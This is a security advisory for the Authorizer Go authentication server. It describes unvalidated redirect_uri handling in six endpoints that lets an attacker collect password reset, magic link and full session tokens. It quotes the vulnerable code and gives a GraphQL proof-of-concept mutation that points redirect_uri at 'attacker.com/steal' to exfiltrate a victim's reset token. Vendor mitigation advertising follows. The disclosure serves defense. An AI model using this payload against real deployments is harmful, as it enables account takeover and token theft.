GHSA-x3f4-v83f-7wp2
Authorizer: Password reset token theft and full auth token redirect via unvalidated redirect_uri
Blast Radius
github.com/authorizerdev/authorizerReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Hi,
I found that 6 endpoints in Authorizer accept a user-controlled redirect_uri and append sensitive tokens to it without validating the URL against AllowedOrigins. The OAuth /app handler validates redirect_uri at http_handlers/app.go:46, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).
Affected Endpoints
- ForgotPassword (
internal/graphql/forgot_password.go:76-77) - password reset tokens - MagicLinkLogin (
internal/graphql/magic_link_login.go:150-151) - magic link auth tokens - Signup (
internal/graphql/signup.go:211-212) - email verification tokens - InviteMembers (
internal/graphql/invite_members.go:90-91) - invitation tokens - OAuthLoginHandler (
internal/http_handlers/oauth_login.go:18-20) - OAuth redirect stored in state - VerifyEmailHandler (
internal/http_handlers/verify_email.go:27,178) - full auth tokens (access + id + refresh)
Root Cause
Because these 6 endpoints completely lack the validators.IsValidOrigin() check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures AllowedOrigins to ["https://my-secure-app.com"], an attacker can still steal tokens by passing https://attacker.com to these specific GraphQL mutations. The validation only exists in the /app OAuth handler, not in any of the GraphQL mutations.
In forgot_password.go:76-77, the user-supplied redirect_uri is accepted without validation:
if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != "" {
redirectURI = refs.StringValue(params.RedirectURI)
}
The reset token is appended to this URL at internal/utils/common.go:77:
func GetForgotPasswordURL(token, redirectURI string) string {
verificationURL := redirectURI + "?token=" + token
return verificationURL
}
Compare with the OAuth flow at internal/http_handlers/app.go:46 which validates correctly:
if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
c.JSON(400, gin.H{"error": "invalid redirect url"})
return
}
This validation is missing from all 6 endpoints listed above.
Most Severe Path: Full Token Theft via verify_email
After a user clicks the verification link, verify_email.go:178 generates full auth tokens and redirects to the (unvalidated) URL:
params := "access_token=" + authToken.AccessToken.Token +
"&token_type=bearer&expires_in=" + ... +
"&id_token=" + authToken.IDToken.Token + "&nonce=" + nonce
The redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly.
Because tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the Referer header.
PoC
mutation {
forgot_password(params: {
email: "[email protected]"
redirect_uri: "https://attacker.com/steal"
}) {
message
}
}
The victim receives a legitimate password reset email with the link https://attacker.com/steal?token=<reset_token>. Clicking the link sends the reset token to the attacker.
Impact
- Account takeover via stolen password reset tokens
- Full session theft via stolen access_token + id_token + refresh_token
- Passwordless account compromise via stolen magic link tokens
- No authentication required to trigger (the GraphQL mutations are public)
- Victim only needs to click the email link from their trusted Authorizer instance
Additional Note
The default AllowedOrigins at cmd/root.go:39 is ["*"], so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration.
Koda Reef
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/authorizerdev/authorizer | all versions | 0.0.0-20260329085140-6d9bef1aaba3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/authorizerdev/authorizer. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/authorizerdev/authorizer to 0.0.0-20260329085140-6d9bef1aaba3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x3f4-v83f-7wp2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-x3f4-v83f-7wp2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-x3f4-v83f-7wp2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-x3f4-v83f-7wp2 in your dependencies?
O3 detects GHSA-x3f4-v83f-7wp2 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.